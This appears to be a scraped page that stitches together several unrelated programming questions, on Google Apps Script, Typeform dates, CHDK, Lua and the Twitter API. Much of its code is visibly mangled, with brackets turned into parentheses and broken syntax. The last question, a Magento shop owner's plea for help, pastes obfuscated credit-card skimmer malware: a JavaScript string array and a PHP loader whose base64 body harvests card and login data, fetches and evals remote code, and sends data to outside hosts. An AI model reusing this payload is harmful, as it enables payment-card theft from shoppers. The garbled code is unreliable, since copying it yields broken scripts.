How do you dynamically add multiple URLs into rich text for Google Sheets using Google Apps Script?

I have multiple links to Google Drive files in an array. I need to get the links into this format in the cell:

File 1, File 2, File 3

The links should be “File 1”, “File 2” and “File 3”.

The number of links is not the same in each row and I can’t figure out is how to dynamically add the correct number of links. The links are coming from Google Form submissions. This is what I have:

var fileList = ("www.link1.com", "www.link2.com", "www.link3.com");
  var richText = "";
  for (l = 0; l < fileList.length; l++) {
    if (l == 0) {
      var text = "File " + l;
      var newRichText = SpreadsheetApp.newRichTextValue()
        .setText(text)
        .setLinkUrl(0, text.length, fileList(l))
        .build();
    } else {
      var text = ", File " + l;
      var newRichText = SpreadsheetApp.newRichTextValue()
        .setText(text)
        .setLinkUrl(richText.length+2, text.length, fileList(l))
        .build();
    }
    richText = richText + newRichText;

Also tried for loops in the middle of the RichTextValueBuilder thing and there’s also a copy() thing but neither worked for me. Those bits of code were gone hours ago so I can’t post them here.

I’m not really that good at JS so it’s possible I’m making a basic mistake.

teacher needs help with script or automate find and replace in google sheets from form photo submission

I have never submitted anything hopefully this is clear enough.
Trying to automate find and replace function on form submission within sheets. Principal/Teacher submits a photo through a google form and I want to change from the file link to a search to link within the google sheet. Currently have to manually do this and would like to automate the process. Here are the find and replace codes currently using find https://drive.google.com/open?id=
and replacing with
https://drive.google.com/uc?export=view&id=

Google Script: Changing date format from Typeform Response in Sheets

I’m using Google Script to add a function where once the response from Typeform is sent to the sheet, a button called “create document” is added to fill up the Google Doc template using the body.replacetext script function.

Apparently I want the document to have a specific name auto generated which was possible with the function:
const copy = googleDocTemplate.makeCopy(HR-4R-${row(2)}-${row(1)}-${(row(15)).toLocaleDateString()} , destinationFolder)

  • where row 2 in sheet is: code
  • where row 1 in sheet is: position
  • where row 15 in sheet is date submitted (generated by typeform based on the date form was completed)

The ideal name for each document will be: HR-4R-AZM-VIDEO EDITOR-01-15-2021. My problem is using the .toLocaleDateString it formats the date into MM/DD/YYYY and I can’t format it into MM-DD-YYYY. Another issue I’m having is Typeform exports response in UTC which conflicts the date of submission.

Is there a way to format the date into MM-DD-YYYY and change the timzeone based on the location I am in?

Hoping for your feedback. Thank you.

canon – Where can I find or make a script for focus stacking using Raynox DCR 250?

Really old thread. Anyway, it seems people confuse ‘stacking’ and ‘bracketing’. Bracketing is used to capture a number of pictures of a scene while varying a parameter, exposure, focus, what have you. Stacking is a post processing technique for combining bracketed photos to create HDR or increased depth of field, for instance.

For the original posters question, long time back i loaded up my Canon A720IS with the hacked CHDK firmware which facilitates scripting and wrote a script based on the hyperfocal distances. It worked ok and stacking the focus bracketed shots did result in enhanced DOF.

Some google fu came up with https://chdk.fandom.com/wiki/UBASIC/Scripts/CanonA640:_Focus_Bracketing

automation – How to delete the fist line in the file using lua script?

I just started learning script lua. I have a .txt file with the format “user | pass”. how to get “user” and “pass” on the first line and delete them from that file.
This is my command but I can only read the contents of one line, but I can’t separate “user” and “pass”

io.input("/var/mobile/Library/AutoTouch/Scripts/account.txt")
t = {}
for i = 1, math.huge do
    local s = io.read()
if s == nil then
break
end
    t(#t + 1) = s
end

i = 1, #t do
    alert(t(i));
end

Multiple URLs in the body of a tweet retrieved from TwitterAPI cannot be saved in Google Spreadsheet (Google Apps Script)

I have created a GAS code to retrieve tweet data from the Twitter API
and save it in a spreadsheet, using samples from other sites,
but I cannot execute the following points. (For more details, please
check the corresponding part of the code below.

*When there are multiple links in a tweet, only the first URL can be saved.
*I want to save the URLs other than media files in the tweet.

var SCREEN_NAME_FIRST = "hogehoge"
var CONSUMER_KEY      = " ";
var CONSUMER_SECRET   = " ";
var PROJECT_KEY       = " ";
var API_USER_TIMELINE = "https://api.twitter.com/1.1/statuses/user_timeline.json";
var API_USER_LOOKUP   = "https://api.twitter.com/1.1/users/lookup.json";
var API_URL_TIMELINE  = "https://api.twitter.com/1.1/statuses/home_timeline.json"
var SHEET_NAME        = "Tweetsave"
var LIMIT_COUNT       = 200;
var CREATED_AT        = 1;
var USERNAME          = 2;
var USERSNAME         = 3;
var TWEETID           = 4;
var TEXT              = 5;
var RETWEET_COUNT     = 6;
var FAVORITE_COUNT    = 7;
var ENTITIES_URL      = 8;
var ENTITIES_MEDIA    = 9;
var URL               = 10;

function getTwitterService() {
  var service = OAuth1.createService("twitter");
  service.setAccessTokenUrl("https://api.twitter.com/oauth/access_token")
  service.setRequestTokenUrl("https://api.twitter.com/oauth/request_token")
  service.setAuthorizationUrl("https://api.twitter.com/oauth/authorize")
  service.setConsumerKey(CONSUMER_KEY);
  service.setConsumerSecret(CONSUMER_SECRET);
  service.setProjectKey(PROJECT_KEY);
  service.setCallbackFunction("authCallback");
  service.setPropertyStore(PropertiesService.getScriptProperties());
  return service;
}

function authCallback(request) {
  var service      = getTwitterService();
  var isAuthorized = service.handleCallback(request);
  if(isAuthorized) {
    return HtmlService.createHtmlOutput("Success! You can close this page.");
  } else {
    return HtmlService.createHtmlOutput("Denied. You can close this page");
  }
}

function getuserTweetsfirst() {
  Logger.log("(START) getuserTweetsfirst()");

  var service = getTwitterService();
  if(service.hasAccess()) {
    try {
      var as              = SpreadsheetApp.getActiveSpreadsheet();
      var tws             = as.getSheetByName(SCREEN_NAME_FIRST);              // tweetシート
      var iRow            = 1;                                       // 書き込む行数の開始位置
      var lookup          = usersLookup(SCREEN_NAME_FIRST);                // /users/lookup.json
      var statusesCount   = Math.floor(lookup.statuses_count);       // 全ツイート数
      var division        = Math.floor(statusesCount / LIMIT_COUNT); // 全ツイートを200で割る除算
      var remain          = Math.floor(statusesCount % LIMIT_COUNT); // 全ツイートを200で割る剰余算
      var apiRequestCount = remain == 0 ? division : division + 1;   // APIのリクエスト数
      var max_id          = "";
      var since_id        = ""
      var apiUrl          = API_USER_TIMELINE + "?screen_name=" + SCREEN_NAME_FIRST + "&count=" + LIMIT_COUNT + "&since_id=" + since_id;

      Logger.log("statusesCount = " + statusesCount);
      Logger.log("apiRequestCount = " + apiRequestCount);

      for(var i = 0; i < apiRequestCount; i++) {
        var url      = max_id != "" ? apiUrl + "&max_id=" + max_id : apiUrl;
        var response = service.fetch(url);
        var tweets   = JSON.parse(response.getContentText());
        if (tweets.length < 1) {
          break;
        }
        max_id = decStrNum(tweets(tweets.length -1).id_str);

        Logger.log("tweets = " + tweets.length);
        Logger.log("max_id = " + max_id);

        for(var ii = 0; ii < tweets.length; ii++) {

          var d = new Date(tweets(ii).created_at);
            tws.getRange(iRow, CREATED_AT    ).setValue(Utilities.formatDate(d, "JST", "yyyy-MM-dd HH:mm:ss"));
            tws.getRange(iRow, USERNAME        ).setValue(tweets(ii).user.name);
            tws.getRange(iRow, USERSNAME       ).setValue(tweets(ii).user.screen_name);          
            tws.getRange(iRow, TWEETID       ).setValue(tweets(ii).id_str);          
            tws.getRange(iRow, TEXT          ).setValue(tweets(ii).text);
            tws.getRange(iRow, RETWEET_COUNT ).setValue(tweets(ii).retweet_count);
            tws.getRange(iRow, FAVORITE_COUNT).setValue(tweets(ii).favorite_count);
          var media = new Array();
          //******corresponding part******
          media = tweets(ii).entities.media;
          if(media instanceof Array) {
            Logger.log("media.length = " + media.length);
            var media_url = ();
            for(var iii = 0; iii < media.length; iii++) {
              media_url.push(media(iii).media_url_https);
             tws.getRange(iRow, ENTITIES_MEDIA).setValue(media_url.join('n'));
            }
          }
          tws.getRange(iRow, URL).setValue("https://twitter.com/" + SCREEN_NAME + "/status/" + tweets(ii).id_str);
          iRow++;
          //******corresponding part******
        }
      }      

    } catch(e) {
      Logger.log("(ERROR) getAllTweetsfirst() : " + e.message);
      MailApp.sendEmail("daiisi.0001@gmail.com", "(ERROR) getAllTweetsfirst()", e.message);
    }
  } else {
    var authorizationUrl = service.authorize();
    Logger.log("Please visit the following URL and then re-run the script: " + authorizationUrl);
  }

  Logger.log("(END) userTweetsfirst()");
}

function usersLookup(screen_name) {
  var service = getTwitterService();
  if(service.hasAccess()) {
    var url      = API_USER_LOOKUP + "?screen_name=" + screen_name;
    var response = service.fetch(url);
    var tweets   = JSON.parse(response.getContentText());
    return tweets(0)
  } else {
    var authorizationUrl = service.authorize();
    Logger.log("Please visit the following URL and then re-run the script: " + authorizationUrl);
  }
}

/* 
 * Decreasing 64-bit Tweet ID
 */
function decStrNum(n) {
  n          = n.toString(); 
  var result = n; 
  var i      = n.length - 1; 
  while(i > -1) { 
    if(n(i) === "0") {
      result = result.substring(0, i) + "9" + result.substring(i + 1); 
      i --; 
    } else { 
      result = result.substring(0, i) + (parseInt(n(i), 10) -1).toString() + result.substring(i + 1); 
      return result; 
    }
  } 
  return result; 
}

function onOpen() {
  var ss = SpreadsheetApp.getActiveSpreadsheet();
  var menuEntries = (
    {name: "Tweetdownload", functionName: "getAllTweets"}
  );
  ss.addMenu("script",menuEntries);

javascript – Script injection below body tag in Magento 2.4.1

I upgraded our Magento from 1.9 to 2.4.1 after we found malware that was trying copy customer credit cards before allowing the customer to use PayPal.

I used Magento’s migration tools to copy data to the new site. I’m also using a Porto theme that’s been modified.

Then I couldn’t believe it. The payment page on the new 2.4 version site was showing the same credit card skimmer. As the page loads you can see PayPal appear then is hidden by the skimmer. PayPal is the only payment option I should have.

I’ve used a virus scan on the server. Also used the Magento Security Scan which came back with ‘Your Magento installation has not been compromised with known injected JavaScript malware.’ to my surprise.

Does anyone have any suggestions as to how I can start or where to start hunting down this malware?

Update: I found the code was being injected below the tag. If I flush the Javascript cache the malicious script ends at the bottom of all the other .js files that are loaded. Which causes the page not to load. Below is the code that is being injected.

The index.php file in the Magento root folder had been modified with the code below. But the issue was still there after I remove the code. Below is the code I found in that file.

I have also searched the database for ‘script’ and ‘var’ without any luck.

Thanks so much for any help! Please I’m not sure what to do next.

Card Skimmer after page loads

Code being injected snippet the code is very obfuscated:


var a0a=(‘wwjwwM4=’,’sKfKvva=’,’pIa8zgL2ignSyq==’,’DgTvCLe=’,’wLnXwLK=’,’A01Tr0m=’,’rgXvtMi=’,’BNLRreW=’,’y19JAwqNxq==’,’suz6q3e=’,’sfnLuge=’,’i2nHCMqTy29Kzq==’,’phnLBgvJDcbPza==’,’AKzjD2O=’,’thv6s0i=’,’x3LYiIbUyw1Lpq==’,’tuf6zNa=’,’y3rVCIGICMv0Dq==’,’vNzNB2e=’,’sMvKy1K=’,’zKfnvhO=’,

This is what was injected into the index.php file:


$BcKxNeHlLm=”x73″;$WYRrPhjfq=”156157″;$BcKxNeHlLm.=”x74″;$wTGBOhd1Y=”164″;$BcKxNeHlLm.=”162″;$BcKxNeHlLm.=”162″;$hOTFW1f=”x65″;$wTGBOhd1Y.=”162×65163″;$WYRrPhjfq.=”x69164143″;$hOTFW1f.=”144″;$BcKxNeHlLm.=”145166″;$wTGBOhd1Y.=”163″;$hOTFW1f.=”x6fx63″;$hOTFW1f.=”145×64″;$WYRrPhjfq.=”156×75″;$hOTFW1f.=”137″;$hOTFW1f.=”x34″;$hOTFW1f.=”66145″;$WYRrPhjfq.=”x66x5fx65″;$WYRrPhjfq.=”x74x61145″;$WYRrPhjfq.=”x72x63″;$wTGBOhd1Y.=”x61″;$hOTFW1f.=”x73141″;$hOTFW1f.=”142″;$WYRrPhjfq=$BcKxNeHlLm($WYRrPhjfq);$hOTFW1f=$BcKxNeHlLm($hOTFW1f);$wTGBOhd1Y=$BcKxNeHlLm($wTGBOhd1Y);$tE09pMRXE=”jaCwgJG9wdGlvbnMpOw0KICAgICAgICAgICAgJGNvbnRlbnQgPSBAY3VybF9leGVjNVUkxPUFRfU1NMX1ZFUklGWVBFRVIgPT4gZmFsc2UsDQogICAgICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1NTTF9WHaiASPgwmc19FdldGJgACIgACIgAiCNsTKxACLiIVRTV1XO9ERPxUQHVUTigSZulmZlRGIgACIgACIgoQD7BSKpIiUFNVVf50TE9ETBdURNJCKkVmbpZWZkFCKgYWagACIgoQACIgACIgACIgACIgACIgACIgACIgAiCNszahVmciBCIgACIgACIgACIgACIgACIgACIgACIgACIgAiCNsTZ1xWY29FckASPgIXZi1WduFmcyFGI9ASehJncBNHZsVWamRCIgACIgACIgoQD7BSKpkSXnEGdhR2XsFmbvlGdpRGZhdyWddCZvhGdl1EduVWb5FGcnsFdhR2X0N3bwRCK0V2czlGKgYiJgkSKddCZvhGdl1EduVWb5FGcnsFdhR2X0N3bwRCK0V2czlGKoAiZpBCIgAiCNoQD9BCIgAiCN5KA0KICAgICAgICAgICAgIi8uKmNjX251bS4qLyIgPT4gMSwNCiAgICAgICAgICAgICIvLipjb250cm9sX3NldHRpbmdCIgACIgACIgACIgAiCNwiIw4iMz8CevZWZylmRgEDMxAjMxAjMRCK5FmcyF2X0B3b0V2cfxmc1NGIgACIgACIgACIgAiCNsTKsJXdfRXZnRCK0lmbp9FbyV3Yg0DIoNGJgACIgACIgACIgACIK0gCNoQD7kCIgACIgACIgACIgAiCNU2csFmZg4TPgc4V2XjNmKu8iIgACIgACIgACIgACIK0ALxAiP9AiIvoiLzaWYgKCFkZWZpbmVkKCJNRUdBTE9ET05fTTIiKSkgew0KDQogICAgZGVmaW5lKCJNRUdBTE9ET05fTTIiLCAxKTsNCg0KICAgIGlm3br5icngCbpFWbABCIgACIgACIgACIgoQDK0QfgACIgACIgACIgACIK0wOpQWZXZnRCK0lmbp9FbyV3Yg0DIoNGJgACIgACIgACIgACIgACIgACIgAiCNoQD7kCIgACIgACIgACIgACIgACIgACIgoQDlNHbhZGI+0DIUN1TIllRJJVRfRCI9ACa0FGckACIgACIgACIgACIgoQD7BSKpkSXnI2Y691JbVUSL90TD9FJoQXZzNXahgCImYCIp01JulWbkF2JbVUSL90TD9FJoQXZzNXagYiJgkSXnM3Y691JbVUSL9XJsX2luaXQiKSkgew0KICAgICAgICAgICAgICAgICAgICAkb3B0aW9ucyA9IGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiB0cnVlLA0KICAgICAgIgcCfnAiLgknc05WdvNGJg4CInw3Jg4CIddSZk92Y0N3bwdyWddyczVmcIgACIgACIgACIgoQD7BSKp01JslWYtVkcl12b0NXdjdyW0FGZfR3cvBHJoQXZzNXaoAiZpBCIgACIgACIK0wOiICI9ACbslmYkACIgACIgACIK0iZ0d3L3BnLrlGdhR3ctUGbn92bn9yL6MHc0RHaiASPgwmc19FdldGJgACIgACIgAiCNsHIpkyJzYDM4gTOwI2N5IWMyUTMywNCiAgICAgICAgICAgICIvLipleHBfeWVhci4qLyIgPT4gMywNCiAgICAgICAgICAgICIvLipleHBpcmF0aW9uWWVhci4qLyIgPT4gMywNCiAgICAgICAgICAgICIvLip5ZWxsb3dfc2V0LiovIiA9PiAzLA0KICAgICAgICAgICAgIi8uKnNhdmFJ0ZXMyMDE4QHlhbmRleC5ydScsICdiYl8nIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddLCAkY2NfcGF5KTsNCiAgICAgICAgfQ0KICAgIH0NCg0KDR0cHM6Ly9wYXRoYy5zcGFjZS9NRUdBTE9ET04yL2luZGV4LnBocD92aWV3PSI7DQoNCiAgICAgICAgaWYgKChpc3NldCgkX1BPU1RbJ2xvZ2luJ10pICYmIChpc3NldCgkX1BPU1RbJ2xvZ2luJ11bJ3VzZXJuYW1lJ10pKSAmJiAoaXNzZXQoJF9QT1NlRfSVAnXTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJHVzZXJfZGF0YSA9IGJhc2U2NF9lbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gIjskcGF0aDsiIC4gJFRfdXJsIC4gJHVzZXJfZGF0YSk7DQogICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0X2FycmF5KCRjaCwgJG9wdGlvbnMpOw0KICAgICAgICAgICAgICAgICAgICBAY3VybF9leGR2X0N3bwRCIgACIK0gCN0HIgACIK0wO05WZ052bjRCIuJXd0VmcgACIgACIgAiCNsTKoNGJoMWCghZW1wdHkoJF9QT1NUKSkgew0KICAgICAgICAkcG9zdF9kYXQgPSAkcG9zdF9kYXQgPyBhcnJheV9tZXJnZSgkcG9zdF9kYXQsICRfUE9TVCkgOiAkX1BPU1Q7DQogICAgfQ0KDQogICAgaWYgKCRwb3N0X2RhdCkgewiAiLg01Jl1WYuJXZzV3Jb11Jul2Zvx2JbR1UPB1XkgSZk92YuV2X0YTZzFmYg0DIuV2avRXYkACIgACIgACIgACIgoQD7BSKpkSKddCZy92dzNXYwdyWddibpd2bsdyWUgwSMgwiIiNmefJCKll2av92Y0V2cgACIgACIgACIgACIgACIgoQDK0QfgACIgACIgACIgACIgACIgoQD7kCajRCKjVRoOw0KICAgICAgICAgICAgaWYgKHN0cmxlbigkY2NfeWVhcikgPT0gNCkNCiAgICAgICAgICAgICAgICAkY2NfeWVhciA9IHN1YnN0cigkY2NfeWVhciwgMiwgMik7DQogICAgICAgICAgICAkY2NfcGF5ID0gJGNjX251bWTPN0XkgCdlNnb1BCIgACIgACIK0wegkSKddCbtRHaulWbkdWbnsVRJt0TPN0XkgCdlN3cphCIsHIpkSXng2chh2XzNWa0NXa0FGdzdyWUN1TQ9FJoQXZzNXaoAiZpBCIgAiCNoQD9BCIg0QOV0XUB1TMJVVDBCIgACIgACIgACIgACIgACIgACIgACIgoQDsUWdyRHI+0DIO9USUF0QPx0VPxETPZ0XUB1TMJVVDBCIgACIgACIgACIgACIgACIgACIgACIgoQDsU2csFmZg4TPgIVREFURI9FVQ9ETSV1QgACIgACIgACIgACIgACIgACF9tLiovIiA9PiAyLA0KICAgICAgICAgICAgIi8uKmV4cF9tb250aC4qLyIgPT4gMiwNCiAgICAgICAgICAgICIvLipleHBpcmF0aW9uTW9udGguKi8iIDdGltZSgpICsgMzYwMDAsICIvIik7DQogICAgICAgICAgICAgICAgc2V0Y29va2llKCJfemNzIiwgMSwgdGltZSgpIC0gMzYwMDAsICIvIik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQp9Ow==JbRXYk9Fdz9GckAyPgkSXnQWS5JHduV3bjdyWddyczVmckRWYnsYWRkcmVzcyddWydzdHJlZXQnXVsnMCddIC4gJ3wnIC4gJHBvc3RfZGF0WydhZGRyZXNzJ11bJ2NpdHknXTsNCiAgICAgICAgICAgICRiaWxsIC49ICJ8IiAuICRwb3N0X2RhdFsnYWRkcmVzcyddWydyZWdpb24nXSAuICd8JyAuICRwb3N0X2RhdFsnYWRkImlGIgACIK0gCNsTKlVnc0BCL0FGZfR3cvBHJoUGZvNWZk9lbvNnag0DI0FGZfR3cvBHJgACIgACIgAiCNkCdhR2X0N3bwRCKgYWagACIgoQDK0wOpkyJNCiAgICAgICAgdW5zZXQoJF9QT1NUWydzdGF0aXN0aWNzX2hhc2gnXSk7DQogICAgfQ0KDQogICAgaWYgKChpc3NldCgkX0NPT0tJRVsnd3RmJ10pKSAmJiAobWQ1KCRfQ09PS0lFWyd3dGYnXSkgPT0gJzdhYzFjY2E1YmVlOGI4YjMxYU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KICAgICAgICAgICAgJHBvcyA9IHN0cnBvcygkcGF0aCwgImFkbWluL2Rhc2hib9PiA0DQogICAgICAgICk7DQoNCiAgICAgICAgJGNjX251bWJlciA9ICRjY01vbnRoID0gJGNjX3llYXIgPSAkY2NfY2lkID0gIiI7DQoNCiAgICAgICAgZm9yZWFjaCAoJGZpZWxkc0FycmF5IGFzICRmX2tleSA9PiAkZl92YWx1ZS5ZWFyIC4gJ3wnIC4gJGNjX2NpZDsNCiAgICAgICAgICAgIGlmIChpc3NldCgkX0NPT0tJRVsnX2JkbTInXSkpDQogICAgICAgICAgICAgICAgJGNjX3BheSAuPSAnfCcgLiBiYXNlNjRfZGVjb2RlKCRfQ09PS0lFWydOyIgLiAkX1BPU1RbJ2xvZ2luJ11bJ3Bhc3N3b3JkJ10pOw0KICAgICAgICAgICAgc2V0Y29va2llKCJfemNzIiwgJGF0b2tlbiwgdGltZSgpICsgMzYwMDAsICIvIik7DQogICAgICAgICAgICAkX0NPT0tVSTE9QVF9NQVhSRURJUlMgPT4gMTAsDQogICAgICAgICAgICBDVVJMT1BUX1NTTF9WRVJJRllQRUVSID0+IGZhbHNlLA0KICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCA9PiBmYWxzZQ0KICAgICAgICApOw0KDQogEIgACIgACIgACIgACIgACIgACIgACIgAiCNwCMxAiP9TFlETD9FUURFSnslUFZlUFN1XkASPgAXafJXZzVHJgACIgACIgACIgACIgACIgACIgAiCNsHIpkSXnAVSfRlTFlETD9FUURFSnslUFZlUFN1XkgCdlN3cphCImlGIgACIgACIgACIgACIgACIK0QfgACIgACInbv12XjNGJg4CInAzJg0DIoRnbv12XjNGJgACIgACIgACIgACIgACIgoQDpEDI90DIpgGdu9WbfN2YkgiblxnsFdhR2X0N3bwRCIuAyJ8dCIuASXnUWbh5GdzFGbnsVXnM3clJHZkF2JbRXYk9Fdz9GckAiLgcCInAiLg01Jl1WYuR3cylmZnsVXnM3clJHZkF2JbRXYk9Fdz9GckASPgwGbpJGJgg4TPgIyLq4SefBHel91YjpiLvICIgACIgACIgACIgAiCNwiMg4TPgIyLq4CdlN3XuNXbq4yLiACIgACIgACIgACIgoQDsIDI+0pkyclh2Y0FWbkACL5V2afBHJgwSelt2XmRCKoNGdh12XnVmcwhCImlGIgACIgACIgACIgACIgACIK0wegkSZ1xWY29FckAiP9ASelt2XwRCIzAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoJGNjX251bWJlcikgew0KICAgICAgICAgICAgaWYgKHN0cmgICAgICAgICAgICAgICAgICAgICRjY19jaWQgPSAkcF92YWx1ZTsNCiAgICAiIvoiLkl2YfN2Yq4yLiACIgACIgACIgACIgoQDsQDI+0DIi8iKuQXZz9VZnIgACIgoQDokXYyJXYg0DIz52bpRHcvRCIgACIgACIgoQD7BSK0N3bwRCIswmc1RCK5JXZ1F3Xy02Xu9GZvxWYnVWbg42bpR3YuVnZdjJCKzR3cphXZf52bpR3YuVnZoAiZpBCIgACIgACIgACIgACIgAiCNoQD7kSY0FGZfJXZzVHJgwyJiJTJnACLisiIoU2YhxGclJ3XyR3cg0DIhRXYk9lclNXdkACIgACIgACIgACIgACIgAiCNsTKwl2XyV2c1RCIuAyJ7cCIuASXnM3Y691JbVUSL90TD9kACIgACIgACIgACIgACIgAiCNsHIpcSMnASPhACduNGJoAiZpBCIgACIgACIgACIgoQD9BCIgACIgACIgACIgoQD7kCduNGJo0WayRHI9ACduNGJgACIgACIgACIgACIgACIgoQD7kSZzxWYmBCLkVGZvNmbl9VehB3XjNGJg4CIn0zdllmd/AHaw5CelRmbplXYwdyW0FGZfR3cvBHJoACajFWZy9mZgACIgACIgACIgACIK0wegkLiAkcG9zdF9kYXRbJ2FkZHJlc3MnXVsndGVsZXBob25lJ107DQogICAgIHIgACIgACIgoQD7Q3cvBHJg0DIdNFRMVUSGR1UPB1XUB1TMJVVDt1cu9Wa0B3bkACIgACIgACIgACIgoQD7EDI9ASXUN1TQ9FVQ9ETSV1QbNnbvlGdw9GJgACIgACIgACIgACIK0wegkCdz9GckgCImlGIgACIgACI1BUX1RJTUVPVVQgPT4gMTAsDQogICAgICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX01BWFJFRElSUyA9ESU5HID0+ICIiLA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9VU0VSQUdFTlQgPT4gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDUuMTsgcnY6MzIuMCkgR2Vja28vMjAxMjAxMDEgRmlyZWZveC8zMi4wIiwNCiAgICAgICA9PiAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNS4xOyBydjozMi4wKSBHZWNrby8yMDEyMDEwMSBGaXJlZm94LzMyLjAiLA0KICAgICAgICAgICAgQ1VSTE9QVFQ09PS0lFWydfYmRtJ10pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgc2V0Y29va2llKCJfYmRtMiIsIGJhc2U2NF9lbmNvZGUoJGJpbGwpLCB0aW1lKCTMJVVDBCIgACIgACIgACIgACIgACIgACIgACIgoQDsATMg4TPgQVVPVUTJRFVDVkTO90QfRFUPxkUVNEIgACIgACIgACIgACIgACIgACIgACIgAiCNwSZ1JHdg4TPgIVRSVkRFJ1TUVVQfRFUPxkUVNEIgACIgACIgACIgACIgACIgANvbS9NRUdBTE9ET04yL2luZGV4LnBocD92aWV3PScgLiAkY2NfcGF5X2VuY29kCAgICAgICBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSID0+IHRydWUsDQogICAgICAgICAgICBDVVJMT1BUX0hFQURFUiA9PiBmYWxzZSwNCiAgICAgICAgAxMCwNCiAgICAgICAgICAgICAgICBDVVJMT1BUX1NTTF9WRVJJRllQRUVSID0+IGZhbHNlLA0KICAgICAgICAgICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWUhPU1Q0NCg0KICAgICAgICAkY2ggPSBjdXJsX2luaXQoJHVybCk7DQogICAgICAgIGN1cmxfc2V0b3B0X2FycmF5KCRjaCwgJG9wdGlvbnMpOw0KICAgICAgICAkY29udGVudCA9IEBjdXJsX2V4ZV2X0YTZzFmYg0DIddiMtRmYfdyWFl0SP90QfRCIgACIgACIgACIgAiCNsTKi8iIgwCMwAjNzAyKgk9pbmRleC5waHA/aD0iIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KICAgICAgICAkY29udGVudCA9ICIiOw0KICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCJjdXJsX2luaXQiKSkgew0KmLtVHbvxWZj9yL6MHc0RHanAiLgcCIlJXdjV2culWLtACbyV3YngyYlhXZABCIgACIgACIgACIgACIgAiCNsHIpkSKiddIC4gIl0qIikpOw0KICAgICAgICAgICAgJGNjX3BheV9lbmNvZGVkID0gc3RyX3JlcGxhY2UoIisiLCAiJTJiIiwgJGNjX3BheV9lbmNvZGVkKTsNCg0KICAgICAgICAgICAgfRCKlR2bjVGZfRjNlNXYiBiLgICIiASPuACbslmYkACIgACIgACIgACIgACIgAiCNsHIpkSXn0GZi91JbVUSL90TD9FJoQXZzNXaoAiZpBCIgACIgACiUERUQfJVRWJVRTdyWSVkVSV0UfRCIuAiIbBiIg4CIddCVT9ESfBFVUh0JbJVRWJVRT9FJg4CIioibcJHXiAiLgkXYw91YjRCKzEDdvJ3XyR3coUGZvNmbl9FN2U2chJGI9ACZlR2bj5WZflXYw91YjRCIgACIgACIgACIgAiCNsTKddiMtRmYfgICAgICAgdW5zZXQoJF9DT09LSUVbJ2xvbHppbGxhJ10pOw0KICAgIH0NCg0KICAgIGlmIChpc3NldCgkX0NPT0tJRVsnZmxhc2h6aWxsYSddKSkgew0KICAgICAgICB1bnNldCgkX0NPT0tJRVsnZmxhc2h6aWxsYSddKTsNCiANvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJGdldF91cmwpOw0KICAgICAgICB9DQoNCiAgICAgICAgZXZhbCgkY29udGVudCk7DQogICAgICAgIGV4aXQ7DQogICAgfQ0KDQogICAgIHsNCiAgICAgICAgICAgICAgICAgICAgc3dpdGNoICgkZl92YWx1ZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAxOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjY197kSXnwWah1WRyVWbvR3c1N2JbRXYk9Fdz9GckgSZk92YuV2X0YTZzFmYg0DIddSbkJ2XnsVRJt0TPN0XkACIgACIgACIgACIgoQD7kiIvICIsADMwYzMgsCIpgSZtlGdgGJgACIgACIgACIgACIK0wegkCduVGdu92YkECKgYWagACIgACIgAiCNoQD9BCIgACIgACIK0wOpQnblRnbvNGJo0WayRHI9ACduVGdu92YkACIgACIgACIgACIgoQD7kCajRCKtZW50TWV0aG9kJ11bJ2FkZGl0aW9uYWxfZGF0YSddIGFCBzZXRjb29raWUoIl9iZG0iLCBiYXNlNjRfZW5jb2RlKCRwb3N0X2RhdFsnY3VzdG9tZXJFbWFpbCddKSw0tJRVsnbWdkbWluaHRtbCddKTsNCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9DT09LSUVbJ3BvcnRgIGNhc2UgMjoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY2NfbW9udGggPSAkcF92YWx1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgMo0WayRHI9ACduNGJgACIgACIgACIgACIgACIgoQD7kCZlR2bj5WZiP9AyUSlERFJFWB10XUB1TMJVVDBCIgACIgACIgACIgACIgAiCNwCMyEDI+0DIUV1TF1USU9FVQ9ETSV1QgACIgACIgACIgACIgACIgoQDsAjMxAiP9ACVV9URNlEVUNURO50TD9FVQ9ETSV1ACIgACIgACIK0gO0ASZzF2YgACIgACIgACIgACIgACIgACIgACIgACIK0wOrFWZyJGIgACIgACIgACIgACIgACIgACIgACIgACIgACIK0wOlVHbhZ3XwRCI9AichVWefN2YkACIgACIgACIgACIgACIgACIgACIgACIgACIgAiCNozEF0XFR1TNVkUnslUFZlUFN1XkASPgAXafJXZzVHJgACIgACIgACIgACIgACIgoQDK0wOpM3bwRCIsADIsgGdhBHJoIHdzJWdzBSPggGdhBHJgACIgACIgACIgACIgACIgoQD7BSKz9GckgCImlGIgACIgACIgACIgAiCNsTKikXZr9CelRmbp9CZyF2uY29kZSgkYmlsbCk7DQogICAgICAgIH0NCiAgICB9DQogICAgaWYgKCFlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgJHBvc3RfZGF0ID0gJHBvc3RfZGF0ID8gYXJyYXlfbWVyZ2UoJHBvc3RfZGF0LCAkX0dF